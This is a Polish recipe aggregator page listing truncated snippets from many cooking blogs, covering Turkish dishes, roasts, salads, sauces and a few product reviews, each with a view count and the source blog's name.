następnie obtoczyć w 4 płatkach orkiszowych. Obsmażyć na rumiano ze wszystkich stron. Przełożyć mięso na blachę i wstawić do piekarnika nagrzanego do 160 stopni. Piec 15 minut. Podałam z sosem z owoców leśnych z czerwonym winem . *jeżeli nie mamy płatków orkiszowych możemy użyć płatki kukurydziane. zastawa z  Dziczyznę można kupić w sklepie

królestwo garów
KESTANE ŞEKERİ, czyli turecki deser z kasztanów 148

Kasztany to sezonowe owoce, w syropie naprawdę wyjątkowe. Proponuję turecki deser z kasztanów. Porcja dla 4 osób. Smacznego! Składniki ½ kilo kasztanów woda do gotowania Składniki (sos) 2 szklanki cukru 2 szklanki wody 1 łyżka cukru waniliowego Przygotowanie Kasztany gotować 10 min. Obrać razem z wewnętrzną skórą. Do innego garnka wlać zimną wodę, dodać cukier i zagotować. Dodać kasztany i gotować

Tureckie Przepisy
ZEYTİNYAĞLI SARMA, czyli faszerowane liście winogron 185

piniowych 2 łyżki bardzo drobnych tureckich rodzynek (kuş üzümü) 1 łyżka mięty 1 łyżka soli 1 łyżka czarnego pieprzu ½ łyżki cynamonu 3 razy pół szklanki wrzącej wody ½ cytryny Składniki (sos) ½ cytryny 5 łyżek oliwy Przygotowanie Farsz: Cebulę obrać, umyć i pokroić w drobną kostkę. Rozgrzać oliwę w garnku, wsypać orzechy. Mieszając od czasu do czasu, zrumienić je. Wyjąć

Tureckie Przepisy
ETLİ LAHANA SARMASI, czyli tureckie gołąbki 175

liść i położyć trochę farszu. Zwijać gołąbki. W garnku z szerokim dnem, najpierw rozłożyć pokrojone niewykorzystane liście kapusty, potem gołąbki. Przykryć najpierw talerzem, a potem przykrywką. Dusić we własnym sosie, aż do wyparowania wody. Jeśli potrzeba dolać wrzącej wody. Podawać z jogurtem z czosnkiem. Artykuł ETLİ LAHANA SARMASI, czyli tureckie gołąbki pochodzi z serwisu Tureckie Przepisy

Tureckie Przepisy
SEBZELİ BİFTEK, czyli befsztyk z warzywami 178

Delikatny stek wołowy z warzywami duszony w pomidorowym sosie. Porcja dla 4 osób. Smacznego! Składniki 4 befsztyki wołowe, najlepiej z polędwicy 1 duża cukinia 2 duże marchewki 5 ząbków czosnku 10 szt. cebuli dymki 1 średnia czerwona papryka 1½ łyżki koncentratu pomidorowego 2 szklanki wody kilka gałązek natki Przygotowanie Podsmażyć befsztyki z obu stron na suchej patelni. Cukinię i marchewki

Tureckie Przepisy
ETLİ SARMA, czyli liście winogron zawijane z mięsem 172

łyżki oliwy z oliwek 1 szklanka ryżu sól czarny pieprz Składniki (pozostałe) 300 g liści winogron w słonej zalewie 1 szklanka wrzącej wody 5 łyżek oliwy użytych jako sos po ugotowaniu Przygotowanie Jeśli liście są zrolowane, należy je rozwinąć i przepłukać zimną wodą. Następnie zagotować wodę w garnku i wrzucić liście. Gotować 20 min. i wyjąć liście z wody. Poczekać

Tureckie Przepisy
PATLICAN MUSAKKA, czyli musaka z bakłażanem 214

Smaczna zapiekanka z bakłażanem i mięsem mielonym w sosie pomidorowym. Podawać z jogurtem i ryżem. Porcja dla 4 osób. Smacznego! Składniki 3 bakłażany 200g mielonego mięsa wołowego 1 duża cebula 2 ząbki czosnku 2 pomidory ½ czerwonej papryki ½ zielonej papryki 1 łyżka koncentratu pomidorowego 2 szklanki wody olej do smażenia natka sól pieprz ½ szklanki wody Przygotowanie Bakłażany obrać w pasemkach

Tureckie Przepisy
ZEYTİNYAĞLI PIRASA, czyli pory w sosie 175

wodę. Gotować, aż warzywa zmiękną. Na końcu dodać cukier i sól. Polać sokiem z cytryny. Udekorować natką. Podawać na zimno lub na ciepło. Artykuł ZEYTİNYAĞLI PIRASA, czyli pory w sosie pochodzi z serwisu Tureckie Przepisy

Tureckie Przepisy
BÖRÜLCE, czyli nasiona wspięgi wężowatej 191

Nasiona wspięgi wężowatej w pomidorowym sosie. Porcja dla 4 osób. Smacznego! Składniki 1,5 szklanki nasion wspięgi wężowatej lub każdej rodzaju fasoli pół czerwonej papryki 1 mała marchewka 1 średni ziemniak 1 ząbek czosnku 1 średnia cebula 1 pomidor 1 łyżka koncentratu pomidorowego 2 łyżki oliwy 1,5 szklanki wody sól Przygotowanie Fasolę opłukać, zalać zimną wodą i zostawić

Tureckie Przepisy
Bezglutenowe ciasto migdałowe z gruszką - Najlepsze! 204

wyrosnąć nieco ponad wysokość gruszek. Upieczone ciasto przestudź, a następnie delikatnie oddziel brzegi od formy nożem i zdejmij obręcz. Ciasto można posypać cukrem pudrem i podawać przykładowo z sosem typu custard lub budyniem śmietankowym. Smacznego

Calzonella.com
Wytrawna tarta z jajkiem i kiełbasą 183

rozsypać mieszankę warzywną powciskać gotowane jajka oraz plastry kiełbasy, wstawic do nagrzanego piekarnika do temp 180*c piec około 20 minut –aż masa będzie ścięta.  Podawać z dowolnym sosem majonezowym lub chrzanowym posypaną zieleniną. Życzę smacznego! http://handerek.com.pl/ Zachęcam do zapoznania się z szerokim asortymentem wędlin tej firmy, z całą pewnością każdy znajdzie coś dla siebie

Wanilia i Kardamon
Karkówka w cebuli 170

żaroodpornym. Na nią układamy cebulę i wylewamy bulion. Pieczemy pod przykryciem w piekarniku nagrzanym do 180 C przez ok 45 min, potem zdejmujemy przykrycie i pieczemy jeszcze 20 min. Sos który się wytworzy można zmiksować i podać z karkówką. Ja podałam bez miksowania

e-PrzepisyKulinarne
Czy Piątnica naturą zachwyca? - Ocena produktu 161

żurawiną, jagodami goji i ostropestem Chleb jasny z pestkami moreli Gorący napar z kandyzowanego aloesu Kawa ze świeżą pomarańczą Wyniki konkursu Piernikowa kawa z imbirem kandyzowanym Makaron z ostrym sosem orzechowym Ser smażony z suszonymi wiśniami Catuaba Warzywne kotlety z kaszą bulgur Śliwkowe tiramisu Koktajl z ananasa i orzechów brazylijskich Miętowa kawa

Gotowanie i blogowanie
Schab pod szpinakową kołderką 190

patelni z dodatkiem szczypty soli, dwóch rozgniecionych ząbków czosnku i 50ml mleka. Schab przykrywamy szpinakiem.    Na patelni rozpuszczamy masło, dodajemy mąkę i do otrzymanej zasmażki dodajemy mleko. Sos doprawiamy gałką muszkatołową, a gdy zgęstnieje przelewamy go na szpinak. Ser ścieramy na tarce i wsypujemy do naczynia żaroodpornego. Całość wstawiamy do zimnego piekarnika, nagrzewamy

Gotowanie i blogowanie
Przydatne akcesoria kuchenne - nieoceniona pomoc 202

Dziś o kilku drobiazgach, które ułatwiają życie w kuchni.  Łyżka to chyba obowiązkowa pozycja w każdej kuchni. Podawanie dzięki niej mięsa z sosem czy sałatek jest bardzo wygodne. A czy może być jeszcze wygodniejsze? Fiskars wprowadził do swoich łyżek ulepszenie w postaci wstawienia silikonowej części.  Bardzo fajne rozwiązanie i faktycznie, jeśli np. kawałki warzyw z zupy zostają

Gotowanie i blogowanie
Jajko w koszulce i przepis na fajne śniadanie - wersja dla opornych 170

oraz połówkę awokado. Ugotowane jajko delikatnie wyciągamy z woreczka i wkładamy do awokado. Białko nacinamy i pozwalamy żółtku wypłynąć. Jogurt mieszamy z pociętą natką pietruszki i doprawiamy pieprzem. Przygotowanym sosem polewamy jajko i awokado

Gotowanie i blogowanie
Schab w zielonej skórce nadziewany śliwką 166

lodówki na 2-3 godziny by porządnie się skleiło.  Schab możemy kroić na plasterki jako wędlinę lub kroić w grubsze plasterki i podawać jako pieczeń z ciepłym sosem borówkowym. Konfiturę z borówek należy podgrzać w rondelku lub na małej patelni i polać nią mięso.  *Na każdy 1kg mięsa przypada 90 minut pieczenia. Po połowie czasu z każdej strony

Gotowanie i blogowanie
Zapiekanka z szynką i mozzarellą 225

drobną kostkę. Śmietanę mieszamy z mlekiem, natką pietruszki i doprawiamy pieprzem. W misce mieszamy makaron z pocięta szynką i mozzarellą, wkładamy do naczynia żaroodpornego i zalewamy sosem śmietanowym. Zapiekamy przez 45 minut w temperaturze

Gotowanie i blogowanie
Sałatka z łososiem i awokado 190

pietruszki i doprawiamy pieprzem. Sałatę myjemy, tniemy w paski, pomidorki kroimy na cztery części a awokado w kostkę. Na talerzu układamy sałatę, pomidorki, awokado i kawałki łososia. Całość polewamy sosem jogurtowym

Gotowanie i blogowanie
Krewetki w tempurze 169

Krewetki w olbrzymiej panierce z dodatkiem sosu słodko-kwaśnego to idealna przekąska na imprezę. Mąka tempura jest idealna do tego zadania, bo bardzo mocno rośnie smażona na głębokim tłuszczu. Składniki: 10 krewetek 4 łyżki mąki tempura 3 lodowatej wody  1 kostka lodu olej do smażenia sól, słodka papryka Krewetki rozmrażamy (mam mrożone i oczyszczone), posypujemy papryką słodką. Mąkę mieszamy

Gotowanie i blogowanie
Tarta z serem i szynką 155

tarce, szynkę kroimy w kostkę. Jajko roztrzepujemy w mleku, dodajemy śmietanę i doprawiamy natką, solą i pieprzem.  Na spód tarty układamy starty ser i szynkę, całość zalewamy przygotowanym sosem śmietanowym. Tartę wstawiamy do gorącego piekarnika, nagrzanego do 190*C i pieczemy przez 30 minut. Różowy talerz Arv, ręcznik kuchenny w różową kratkę oraz formę na tartę możecie kupić

Gotowanie i blogowanie
Kukurydziane kiełbaski 150

kiełbaski i wkładamy je ostrożnie na olej. Smażymy na złoto. Usmażone wyjmujemy i układamy na ręczniku papierowym, smażymy kolejną porcję. Usmażone kiełbaski nadziewamy na patyczki i układamy razem z sosem pomidorowym

Gotowanie i blogowanie
Zapiekanka makaronowa z maślanymi pieczarkami, serem i szynką 163

Usmażone posypujemy szczyptą soli. Wlewamy na patelnię śmietankę, łączymy z pieczarkami i doprowadzamy do wrzenia. Ściągamy z ognia. Szynki kroimy na plasterki, układamy je na warstwie serowej. Całość zalewamy sosem pieczarkowym, wkładamy do piekarnika i pieczemy przez 45 minut od momentu, gdy piekarnik rozgrzeje się

Gotowanie i blogowanie
Pieczona fasolka z papryką i kiełbaską 194

jednak w międzyczasie przyuważyłam tak zachęcający do przygotowania przepis na blogu Kardamonovy , że ugotowaną fasolę podzieliłam na 2 porcje. I tak, dziś przygotowałam jej pieczoną wersję- w aromatycznym sosie paprykowo-pomidorowym, z dodatkiem kiełbaski, a 'breton' będzie jutro :) A wracając do przepisu, to fasolka smakuje naprawdę wybornie, z resztą zróbcie i przekonajcie się sami- a przyznacie mi rację :))) Porcja

Kraina Miodem Płynąca
spaghetti z sosem pomidorowym z soczewicą zieloną... 193

zagotować wode zagotować z solą, włożyc makaron spaghetti i gotować z 7 minut na "al dente", wylac na durszlak i przelać zimną wodą nałożyć porcję makaronu i podać z sosem - danie jest syte, smaczne, szybkie do przygotowania....................SMACZNEGO

W Mojej Kuchni Lubię
Domowe mleko kokosowe 144

wszystkim nie zawiera zbędnych dodatków. Oczywiście pod warunkiem, że zrobimy je z niesiarkowanych wiórków kokosowych. Mleko kokosowe z powodzeniem dodaję do kawy, naleśników, wypieków, owsianki, płatków ryżowych, zup i sosów. Ja już przywykłam do jego smaku. Mąż i córka nie do końca, ale oni mleko krowie mogą spożywać, dlatego regularnie zaopatruję ich w świeże mleko pasteryzowane i mikrofiltrowane. Przepis

Kuchenne zapiski Edyty
Sałatka z ogórkiem, rzodkiewką, białym serem z prażoną posypką i miodowym winegretem 223

zdrowotnych. Składniki sałatki: (2-3 osoby) 1/2 opakowania mieszkanki sałat 1/2 zielonego ogórka 1/2 pęczka rzodkiewki 1/2 opakowania białego sera typu włoskiego lub białej mozzarelli w kulce   Miodowy sos winegret 3 łyżki oleju rzepakowego 1 łyżka octu jabłkowego 1 ząbek czosnku 1 niepełna łyżeczka miodu 1 niepełna łyżeczka musztardy Dijon sól morska, świeżo mielony czarny pieprz   Posypka

Moja Delicja
Polenta z suszonymi pomidorami, oliwkami, cebulą i czosnkiem 161

mąki lub kaszki kukurydzianej. Przygotowanie jej to bardzo prosta sprawa. Polenta może być dodatkiem do wielu różnych dań, lecz ja przygotowałam ją jako samodzielne danie. Podana z różnego rodzaju sosami smakuje wyśmienicie. Składniki: 3 szklanki wody 2 szklanki polenty 1 czerwona cebula 3 ząbki czosnku 10 suszonych pomidorów 10 czarnych oliwek oliwa aromatyzowana czosnkiem sól pieprz ziołowy olej Przygotowanie: Cebulę

Taste Therapy
Domowe nachosy – przepis 349

zbyt wcześnie i są lekko miękkie , to bez problemu można proces pieczenia powtórzyć , tylko z krótszym czasem . Polecam , doskonale smakują podane do potraw z czerwonej fasoli lub z sosami – dipami . Smacznego Post Domowe nachosy – przepis pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Łosoś z sosem gorgonzola 226

śmietanę i pokrojony w drobną kostkę ser gorgonzola. Dokładnie mieszamy aż do roztopienia się sera. Na sam koniec dodajemy posiekany koperek. Usmażonego łososia przekładamy na talerz i polewamy obficie sosem

Piekielna Kuchnia Pati
Sandacz w sosie koperkowym 199

bardzo prosty do przygotowania filet z sandacza. Sandacz ma bardzo delikatne, pyszne mięso dlatego nie warto przytłaczać jego smaku nadmiarem przypraw czy dodatków. Ja podałam go bardzo klasycznie - z sosem koperkowym, ziemniakami z wody i surówką z kapusty

Milion Smaków
Makaron w sosie grzybowym 262

makaronu om nom nom 250 g karkówki 200 g odgotowanych grzybów leśnych 1 garść grzybów suszonych 3/4 szklanki białego wytrawnego wina sól, pieprz … Czytaj dalej Makaron w sosie grzybowym

czarrna od kuchni
KOTLECIKI Z DORSZA 133

mięsa z dorsza (bez ości) 1 drobno pokrojona szalotka 1 ząbek czosnku, przeciśnięty przez praskę 1 marchewka starta na tarce 3-4 łyżki posiekanego szczypiorku 1 łyżka sosu rybnego 1 łyżeczka soku z cytryny 1 czerstwa bułka 1 jajko sól pieprz bułka tarta do obtoczenia olej do smażenia A jak to zrobić: Rybę dokładnie zmielić lub zblendować na gładką masę

Kuchnia w opałach
Pyzy ziemniaczane (bez glutenu) i "Trzydziesta pierwsza" 256

ktoś wcześniej nie spałaszuje) w lodówce. Doskonale też się mrożą. Potem wystarczy wrzucić na gotującą się wodę lub odsmażyć na oleju. ----- Podobne: Kluski jaglano-dyniowe Kopytka dyniowe z sosem Knedle ze śliwkami Kontynuuję czytanie kryminałów Katarzyny Puzyńskiej . Przyszła kolej na część trzecią "Trzydziesta pierwsza" . Akcja znów rozgrywa się we wsi Lipowo. Tym razem Weronika Nowakowska wyjeżdża na okres świąt Bożego

Weekendy w domu i ogrodzie
Kurczak w marynacie miodowo - cynamonowej 228

NONE Składniki: 4 udka z kurczaka Marynata: 4 ząbki czosnku 1 łyżeczka cynamonu 3 pełne łyżki miodu 1/4 szklanki oleju / oliwy 1/4 szklanki białego octu winnego 2 łyżki sosu sojowego 1 łyżeczka suszonego tymianku 1/2 łyżeczki mielonego imbiru 1/2 łyżeczki ostrej musztardy Sposób przygotowania: 1. Mięso opłukać, osuszyć. 2. Składniki marynaty dobrze wymieszać, natrzeć mięso marynatą, odstawić do lodówki

Kuchnia domowa Ani
Placuszki z kapustą kiszoną 168

mocno kapusty kiszonej 1-2 jajka 3-5 łyżek mąki kukurydzianej sól, pieprz mielony olej do smażenia Podałam z keczupem, ale następnym razem wypróbuję z sosem czosnkowym. Przygotowanie : Kapustę odcisnąć z nadmiaru soku i pokroić dość drobno, przełożyć do miseczki Jajko roztrzepać widelcem w garnuszku, dodać do kapusty, wsypać mąkę, sól, pieprz i dokładnie wymieszać Smażyć na rozgrzanym oleju

Proste Potrawy
Perliczka z farszem wątróbkowym 138

pieprzem, posmarować z wierzchu masłem. Wstawić do piekarnika nagrzanego do 120 stopni, piec 3 godziny. Po godzinie, polać perliczkę 100 ml wody, następnie co jakiś czas polewać wytworzonym sosem. Po 3 godzinach podnieść temperaturę piekarnika do 200 stopni i piec aż się zrumieni. zastawa

królestwo garów
Domowe sushi 344

gniazd nasiennych kawałki ogórka, szczypiorek, pokrojony w paski żółty ser i wędzonego łososia. Zwijamy możliwie jak najciaśniej. Kroimy na kawałki i o szerokości około 1 centymetra. 4. Podajemy z sosem sojowym i wasabi

Szefowa kuchni
placuszki kokosowe (z mlekiem kokosowym) z sosem czekoladowym 170

Jabłko obrać i pokroić na płaskie kawałki. Dodać do ciasta, wsypać rodzynki i wymieszać. Na niewielkiej ilości rozgrzanego tłuszczu smażyć niewielkie placuszki. W czasie kiedy będą się smażyć przygotować sos czekoladowy: czekoladę połamać i razem z mlekiem (lub kremówką) umieścić w miseczce nad parą wodną i rozpuścić. Polać placuszki i posypać odrobiną wiórek kokosowych

Domowa Cukierenka-Domowa Kuchnia
Piramidki POPCROP - recenzja 195

oraz wartościach odżywczych produktu.  W moim domu idealnie sprawdziły się jako samoistna przekąska oraz dodatek do potraw. Znikały również z roztopionym żółtym serem (podgrzewane na ciepło) i różnymi sosami. Taka lekka przekąska, a doskonała na zabicie małego głodu! Mają jedną wadę - silnie uzależniają i naprawdę trudno poprzestać na kilku sztukach... Dostępność: Piramidki można nabyć w sieci sklepów: Tesco, Netto

Di gotuje
Schabowe koperty z grzybami 370

sosie grzybowym :)   Składniki 2 plastry schabu 20 dkg odgotowanych, drobno pokrojonych podgrzybków 1 cebula 5 dkg masła 2-3 łyżki śmietany sól, pieprz mieszanka ostrych przypraw (młynek) jajko … Czytaj dalej Schabowe koperty z grzybami

czarrna od kuchni
Schabowe krokiety z warzywami 299

Kolorowe i apetyczne danie :) Składniki 2 plastry schabu 2 plasterki sera żółtego po kawałki żółtej, czerwonej papryki i cukinii 1 łyżeczka sosu chili czosnkowego sól, pieprz jajko bułka … Czytaj dalej Schabowe krokiety z warzywami

czarrna od kuchni
SZPINAK DUSZONY Z POMIDORAMI 195

więcej. Składniki:   szpinak pomidory lub przecier pomidorowy czosnek pieprz  Na patelni teflonowej ułożyć posiekane liście szpinaku,na wierzch drobno ułożyć posiekanego pomidora lub przecier pomidorowy - dusić w sosie własnym.Gdy pomidor da mało soku można dodać łyżkę wody.Doprawić pieprzem i czosnkiem i gotowe

Niespełnione zdolności kulinarne
Karkówka w marynacie musztardowo-miodowej 192

zdjąć pokrywkę i pozwolić by mięso się zarumieniło. Po upieczeniu przykryć i odczekać z 5 minut, aby mięso odpoczęło (doszło). Zobacz również: Karkówka z pieczarkami i cebulką Karkówka w sosie  słodko-kwaśnym Karkówka w ketchupie

Kuchcik gotuje
Kuleczki chlebowe z boczkiem i serem 185

Przepis na ciekawą i tanią przekąskę. Kuleczki najlepiej smakują na zimno z sosem czosnkowym. Składniki: 6 kromek chleba (może być czerstwy pół szklanki mleka 2 jajka 6 czubatych łyżek mąki 150 g żółtego sera 200 g boczku wędzonego oregano, sól, pieprz, papryka ostra szczypta soli Przygotowanie Chleb kroimy w kostkę, zalewamy mlekiem i wbijamy jajka. Odstawiamy na chwilę, następnie miksujemy

e-PrzepisyKulinarne
Kotlety z kaszy gryczanej 243

Kotlety z kaszy gryczanej są świetnym pomysłem na obiad, gdy nie mamy ochoty na mięso. Można podawać je same lub ze śmietaną czy ulubionym sosem, np. pomidorowym. Składniki: 1 szklanka kaszy gryczanej 1 cebula 1 jajko 250 - 300 g twarożku sól pieprz olej bułka tarta Wykonanie: Kaszę ugotować według instrukcji na opakowaniu, cebulę pokroić w kostkę i usmażyć na oleju

Mama Gotuje
WEGAŃSKIE OBIADY Z ZIEMNIAKÓW - zbiór 8 pysznych i łatwych propozycji 247

koniec hit wegańskich internetów, "ser" z ziemniaka, który możecie wykorzystać do pizzy, zapiekanek, jako dip do warzyw, "serek topiony" do pieczywa czy tostów, no i jako sos do samych ziemniaków ;) Podstawowy przepis z wszelkimi uwagami znajdziecie tutaj. Mam nadzieję, że znaleźliście na tej liście coś, czego jeszcze nie jedliście i skorzystacie z tej ściągawki przy najbliższej okazji, kiedy będziecie potrzebować

Wegański blog WSZYSTKO JEST W GŁOWIE
Ryba w cieście 188

Szybko i smacznie..pomysł na taką rybę w cieście  podpatrzyłam tutaj , tylko , że ja podałam bez sosu.. filety dowolnej ryby sok z cytryny  przyprawa do ryb 50 g mąki luksusowej Młynomag 75 ml wody 100 ml mleka 1 jajko łyżka octu 1/4 łyżeczki proszku do pieczenia papryka słodka odrobina soli i pieprzu  Mąkę przesiać razem

Moje domowe kucharzenie
Racuchy drożdżowe z jabłkami 208

smażyć się wolno, raz - że szybko się rumienią, dwa - by przesmażyły się do środka. Usmażone racuszki układać na papierowym ręczniku, by odsączyć nadmiar tłuszczu podawać posypane cukrem pudrem, z sosem owocowym, konfiturą lub dipem cynamonowym (jogurt wymieszany z cukrem i cynamonem

Gotuj zdrowo!Guten Appetit!
Klopsiki w sosie pomidorowym 141

Składniki: 500 g mięsa wołowego 1/2 szklanki mleka 1 mała bułka 1 jajko 1 cebula mąka pszenna olej do smażenia sól, pieprz sos 2-3 łyżki koncentratu pomidorowego mąka pszenna 3 łyżki masła sól, pieprz Wykonanie: Cebulę obrać, drobno pokroić w kostkę, zeszklić na oleju.  Bułkę namoczyć w mleku, odcisnąć, zemleć razem z mięsem. Do mięsnej masy dodać jajko

magiczna kuchnia Kasi
Gulasz z szynki 229

smażenia dodać pokrojone w plasterki ogórek kiszony i czosnek. 2. Gdy mięso zmięknie w pojemniku rozmieszać mąkę z wodą, dodać do gotującego się mięsa i mieszać aż się zagotuje sos, doprawić wszystko z magii

W królestwie smaków Beaty
POLĘDWICZKA WIEPRZOWA Z PAPRYKĄ 176

przykryciem ok. 15-20 min.  W międzyczasie doprawić papryką, solą i pieprzem.  Mąkę i śmietanę wymieszać w kubku z wodą i pomału wlewać do mięsa aż sos osiągnie odpowiednią gęstość.  Posypać majerankiem.  SMACZNEGO

Prosto i Smacznie z Anetą
Bułki. Na obiad 179

zewnątrz i mięciutkie w środku; świetnie absorbują soki z mięsa i warzyw, tworząc z nimi zgraną i naprawdę pyszną całość. Warto poświęcić trochę czasu, znaleźć dobry przepis na sos i sięgnąć po ulubione dodatki, żeby później delektować się... Zupełnie niezwykłym burgerem. Bułki hamburgerowe z sezamem Składniki: (na 8 bułek) 500 g mąki pszennej 300 ml letniego mleka 20 g świeżych

Pożeraczka, czyli raz adobrze
Wegański gulasz z ciecierzycy 180

ilości warzyw to ostatnio często gości u nas ciecierzyca w przeróżnych postaciach. Dzisiaj w wersji wegańsko – orientalnej, jako gulasz. Z dodatkiem cebulki, kolendry i cynamonu. W naszym ulubionym sosie pomidorowym… hmmmm jak cudnie pachnie! Do przygotowania gulaszu potrzebujemy (ok 4 porcje): 1 drobno posiekaną cebulę 4 garście ugotowanej ciecierzycy odrobinę kolendry (ziarna) łyżeczkę cynamonu szczyptę imbiru po szczypcie

Szybko Tanio Smacznie
Wegański WROCŁAW 219

urozmaicony. Sam lokal również jest ciekawie urządzony, co dodatkowo dodaje osobliwości temu miejscu. Ostatnio mieliśmy okazję zjeść tam dwa dania tygodnia: Quesedilla z batatami, awokado, czarną fasolą, szpinakiem, sosem z nerkowców i sałatką oraz Pad-thai mango, tempehem, pieczonym tofu i grzybami shimeji - oba bardzo dobre, o ciekawym smaku. The Root ul. Krupnicza 3 Wegański fast food The Root

Bananowe Pole
"W krainie miodem płynącej..." - podsumowanie akcji 184

miodem płynącej - edycja 2 --------- I wpisy zgłoszone na Durszlaku: Sałatka z wedzonym pstrągiem i pomarańczą autorka: Patrycja (mikimama)  | blog: Czerwień i błękit Roladki z kurczaka z figami w sosie pomarańczowym autorka: Patrycja (mikimama)   | blog: Czerwień i błękit Śledzie z egzotyczną nutą autorka: Patrycja (mikimama)  | blog: Czerwień i błękit Zielony koktajl autorka: Łucja  | blog: 777 przepisów mostownicy

Weekendy w domu i ogrodzie
Nuggetsy z wątróbki 164

błonek. Oprószam solą, pieprzem oraz papryką mieloną. Kawałki wątróbki zanurzam z rozkłóconym jajku i obtaczam w pokruszonych piramidkach.  2. Smażę na rumiano na rozgrzanym oleju. Podaję z ulubionym sosem. Do przygotowania panierki wykorzystałam piramidki kukurydziane, które otrzymałam do testowania od firmy POPCROP . Piramidki są przygotowywane tylko z naturalnych składników, nie zawierają żadnych konserwantów i aromatów. W skład piramidek kukurydzianych

Tradycyjna kuchnia Kasi
Pizza margherita 283

oprószonym mąką blacie) na okrągły, w miarę cienki placek (około 0,5 cm grubości) z nieco grubszymi rantami. Pomidory osączyć z soku (sok można dodać do zupy pomidorowej, sosów lub po prostu wypić), przekroić wzdłuż na pół, wyjąć pestki, pokroić w kostkę.  Mozzarellę pokroić w plasterki. Placki przełożyć na blachy wyłożone papierem do pieczenia. Na nich ułożyć pomidory, mozzarellę

królestwo garów
Burgery z sarniny 205

temperatura  64 st C w środku) Gotowe zdjąć z patelni i odstawić na ok 3 minuty. Podawać jak tradycyjny burger, w podgrzanej bułce z dodatkiem sałaty, sera i sosu pomidorowego, lub z dowolnymi, ulubionymi dodatkami . Smacznego! Uwagi: Mięso mieliłam w maszynce o oczkach

Stare Gary
Wiejska potrawka z kiełbasą 215

momentu aż mięso będzie miękkie, na 10 minut przed końcem gotowania dodaję kiełbasę i musztardę, doprawiam białym pieprzem do smaku, z mąki i małej ilości wody robię zawiesinę, zagęszczam sos, chwilę gotując. Zestawiam z ognia.  Podaję z ugotowanym na sypko ryżem lub kaszą. http://handerek.com.pl/ Smacznego

Wanilia i Kardamon
Papryki i pomidory faszerowane aromatycznym risotto 216

Papryki kroimy na dwie połówki z ogonkami, usuwamy gniazda nasienne (zostawiając ogonki). Pomidorom odcinamy wieczka i delikatnie wydrążamy łyżeczką (to co wydrążymy, przełóżmy do osobnej miseczki - przyda się do sosu). Papryki i pomidory układamy w naczyniu żaroodpornym rozciętą stroną do góry. Cebule drobno siekamy i szklimy wraz z przeciśniętym przez praskę czosnkiem na oleju. Dodajemy ryż i chwilę go tostujemy

Be Fit Be Strong
Wrapy z tortilli z tuńczykiem 199

pełnym białka tuńczykiem są zdrowa i smaczna propozycja dla dbających o dietę. Składniki: 3 pełnoziarniste placki tortilla strąk czerwonej papryki czerwona cebula sałata serek kanapkowy śmietankowy tuńczyk w sosie własnym Sposób przygotowania: Placki tortilli podsmażamy na suchej patelni aż się ogrzeją i lekko zbrązowieją. Ewentualnie możemy podgrzać je kilka sekund w mikrofalówce. Na placku rozsmarowujemy równą warstwę serka kanapkowego. Układamy

Pyry na Gaz
Bardzo łatwy gulasz wieprzowy... 213

Gulasz bardzo często gości na moim stole, zawsze smakuje fantastycznie i za każdym razem inaczej! Wszystko zależy od dodatków które akurat mamy pod ręką i je dodamy do mięsnego sosu. Tym razem proponuje przepis podstawowy... Składniki; ok. 50 dag mięsa wieprzowego ( schab, szynka bez kości, karczek... ) sól, pieprz, liść laurowy i ziele angielskie 2 marchewki 2 małe cebule kilka pieczarek

Radość kipiąca uśmiechem.
Żeberka duszone z warzywami (w sosie własnym) 157

marchewką, pietruszką, selerem) dodać do żeberek.   Całość zalać wodą, wrzucić listki laurowe, ziele angielskie i dusić pod przykryciem do miękkości (około 1-1,5 godziny). Pod koniec gotowania sos wymieszać z natką pietruszki i doprawić wg smaku

Di gotuje
makaronowa sałatka z tuńczykiem 251

tuńczykiem Smaczna sałatka z makaronem i tuńczykiem, to idealna propozycja na  posiłek lekki, ale pożywny. składniki dla czterech osób puszka tuńczyka w sosie własnym 1 szklanka dowolnego makaronu  120 g kukurydzy konserwowej 120 g groszku konserwowego 2 łyżki majonezu 3-4 łyżki jogurtu naturalnego 1/3 pęczka szczypiorku 1/3 pęczka natki pietruszki sól, pieprz

Miód i pieprz
Pałki na chińską nutę 267

Pałki na chińską nutę Delikatne i aromatyczne :) Składniki ok 1 kg pałek z kurczaka 20 dkg pieczarek   marynata: 4 łyżki jogurtu naturalnego 3 łyżki sosu teryiaki 1 łyżka … Czytaj dalej Pałki na chińską nutę

czarrna od kuchni
Zapiekanka z ryżem i kurczakiem. 2038

zrumienienia mięsa. Potem dodajemy pomidory wraz z zalewą i doprawiamy papryką, solą, czosnkiem oraz obficie oregano i bazylią. Dusimy do momentu zmięknięcia pomidorów i wyparowania troszkę wody, powinien powstać sos. Ryż gotujemy według instrukcji na opakowaniu. Kiedy już nam się ugotuje przekładamy go do naczynia żaroodpornego wysmarowanego oliwą, na ryż wykładamy mięso z pomidorami, posypujemy startym serem i zapiekamy

Moje-pitraszenie
Sałatka brokułowa z makrelą 391

półtwardo, studzimy i kroimy na drobne kawałki. Paprykę i ogórki kroimy w kostkę. Przygotowane składniki łączymy, dosypujemy kukurydzę i doprawiamy solą, pieprzem oraz szczyptą papryki słodkiej. Sałatkę polewamy sosem przygotowanym z majonezu, jogurtu oraz szczypty deikatu

Zainspirowana w kuchni
spaghetti z tuńczykiem w sosie pomidorowym 140

Polecam spaghetti z tuńczykiem w sosie pomidorowym

Ugotujmy Coś
Potrawka warzywna z klopsikami 193

Szybki, pyszny obiad. faworyzowane ostatnio przeze mnie klopsiki indycze dzisiaj w potrawce z warzywami strączkowymi. Groch, fasolka i soczewica to idealne trio do sosu pomidorowego. Obiad idealny na diecie, bez glutenu. Czytaj więcej

Bernika - moj kulinarny pamietnik
Oryginalne szwajcarskie Rösti – z ziemniaków surowych i gotowanych 214

śmietana, koperek, gęsty jogurt, szczypior. Pasuje wszystko to, co lekko kwaskowe i świeże, jak do placków czy blinów ziemniaczanych. Ja swój placek zjadłam na obiad, z jajkiem sadzonym i sosem z gęstego, greckiego jogurtu wymieszanego z solą, pieprzem i garścią drobno posiekanego koperku. Osobiście bardziej wolę wersję z ziemniaków surowych – Rösti z ziemniaków gotowanych nie ma aż tak ziemniaczanego smaku

Karo in the Kitchen
Polędwica wołowa na ostro 268

Czasem trzeba zjeść trochę surowego mięsa. Podobnie, jak czasem mięsem trzeba rzucić 😉 Najczęściej jemy tatara w rożnych odsłonach: po polsku, po francusku, czasem z azjatyckim sznytem

slodkokwasnapl
Dorsz pieczony z dodatkiem sherry 204

sprawdzić czy ryba jest upieczona, należy naciąć ją w najgrubszym miejscu - mięso powinno być białe a nie przezroczyste, i powinno się łatwo rozdzielać na płaty. Podawać polane maślanym sosem. Smacznego

